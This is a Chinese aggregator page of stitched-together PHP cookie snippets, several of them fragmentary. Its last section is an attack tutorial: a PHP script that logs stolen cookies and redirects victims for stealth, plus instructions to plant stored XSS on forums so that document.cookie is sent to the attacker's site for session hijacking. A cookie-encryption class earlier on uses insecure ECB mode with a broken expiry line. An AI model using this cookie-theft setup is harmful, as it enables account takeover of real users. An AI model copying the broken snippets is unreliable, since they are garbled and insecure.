PHP如何设置和取得Cookie值
“别欺负我胖虎”通过精心收集,向本站投稿了5篇PHP如何设置和取得Cookie值,下面是小编收集整理后的PHP如何设置和取得Cookie值,供大家参考借鉴,希望可以帮助到有需要的朋友。
篇1:PHP如何设置和取得Cookie值
,
如果不需要URLencoded可以使用setrawcookie代替
PHP $COOKIE变量用来取得一个cookie值,下面的例子中我们取得了名字为url的cookie值并显示在了页面上:
// Print a cookie
echo $_COOKIE[“url”];
// A way to view all cookies
print_r($_COOKIE);
?>
篇2:PHP中如何使用Cookie
PHP中如何使用Cookie
PHP对Cookie的接收和处理的支持非常好,是完全自动的,跟FORM变量的原则一样,特别简单,
比如设置一个名为 MyCookier的Cookie,PHP会自动从WEB服务器接收的HTTP头里把它分析出来,并形成一个与普通变量一样的变量,名为$ myCookie,这个变量的值就是Cookie的值。数组同样适用。另外一个办法是引用PHP的全局变量$HTTP_COOKIE_VARS数组。
分别举例如下:(假设这些都在以前的页面里设置过了,并且仍然有效)
echo $MyCookie;
echo $CookieArray[0];
echo $_COOKIE[“MyCookie”];
echo $HTTP_COOKIE_VARS[“MyCookie”];
要删除一个已经存在的Cookie,有两个办法:
1、SetCookie(“Cookie”, “”);
2、SetCookie(“Cookie”, “value” , time-1 / time() );
使用Cookie的限制
1、必须在HTML文件的.内容输出之前设置;
2、不同的浏览器对Cookie的处理不一致,且有时会出现错误的结果,
3、限制是在客户端的。一个浏览器能创建的Cookie数量最多为30个,并且每个不能超过4KB,每个WEB站点能设置的Cookie总数不能超过20个。
篇3:在php中取得image按钮传递的name值
我需要使用图片按钮来美化我的web,但是使用连接的传递方式会在浏览栏里面出现变量值,这样看上去不舒服,如果使用hidden来提交呢,又觉得没有必要,因为既然image有name属性,就应该能取到的,何必要多加一个变量呢?在bbs里贴了好几天也没人回答,我就只能自己看书想办法,后来找到了!
在表单中的image作为submit的话,会产生两个相关变量,譬如:
篇4:php实现cookie加密的方法
作者:小 字体:[增加 减小] 类型:
代码如下:
<?php
class Cookie
{
/**
* 解密已经加密了的cookie
*
* @param string $encryptedText
* @return string
*/
private static function _decrypt($encryptedText)
{
$key = Config::get(‘secret_key‘);
$cryptText = base64_decode($encryptedText);
$ivSize = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($ivSize, MCRYPT_RAND);
$decryptText = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $cryptText, MCRYPT_MODE_ECB, $iv);
return trim($decryptText);
}
/**
* 加密cookie
*
* @param string $plainText
* @return string
*/
private static function _encrypt($plainText)
{
$key = Config::get(‘secret_key‘);
$ivSize = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($ivSize, MCRYPT_RAND);
$encryptText = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $plainText, MCRYPT_MODE_ECB, $iv);
return trim(base64_encode($encryptText));
}
/**
* 删除cookie
*
* @param array $args
* @return boolean
*/
public static function del($args)
{
$name = $args[‘name‘];
$domain = isset($args[‘domain‘]) ? $args[‘domain‘] : null;
return isset($_COOKIE[$name]) ? setcookie($name, ‘‘, time - 86400, ‘/‘, $domain) : true;
}
/**
* 得到指定cookie的值
*
* @param string $name
*/
public static function get($name)
{
return isset($_COOKIE[$name]) ? self::_decrypt($_COOKIE[$name]) : null;
}
/**
* 设置cookie
*
* @param array $args
* @return boolean
*/
public static function set($args)
{
$name = $args[‘name‘];
$value= self::_encrypt($args[‘value‘]);
$expire = isset($args[‘expire‘]) ? $args[‘expire‘] : null;
$path = isset($args[‘path‘]) ? $args[‘path‘] : ‘/‘;
$domain = isset($args[‘domain‘]) ? $args[‘domain‘] : null;
$secure = isset($args[‘secure‘]) ? $args[‘secure‘] : 0;
return setcookie($name, $value, $expire, $path, $domain, $secure);
}
}
希望本文所述对大家的php程序设计有所帮助,
篇5:XSS获取cookie和利用方式 (PHP版)脚本安全
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间$referer=getenv ('HTTP_REFERER'); //链接来源$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它fwrite($fp,“ IP: ” .$ip. “n Date and Time: ” .$time. “n User Agent:”.$agent.“n Referer: ”.$referer.“n Cookie: ”.$cookie.“nnn”); //写入文件fclose($fp); //关闭文件header(“Location: www.baidu.com”); //将网页重定向到百度,增强隐蔽性
将上述文件保存为cookie.php文件,放到你自己的网站服务器下,比如这里我们自己搭建的服务器为:www.cto365.com/cookie.php,
XSS构造语句为:
或者
将上述语句写入存在XSS的目标中(最好是存储型xss),比如你找到了某个博客或者论坛存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,XSS就会触发,然后跳转到www.cto365.com/cookie.php?msg=’+document.cookie的页面,之后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。
【PHP如何设置和取得Cookie值】相关文章:
1.php简历
2.php 面试题
3.善意取得制度
4.PHP编程习惯
6.值日记
7.取得成绩的总结






文档为doc格式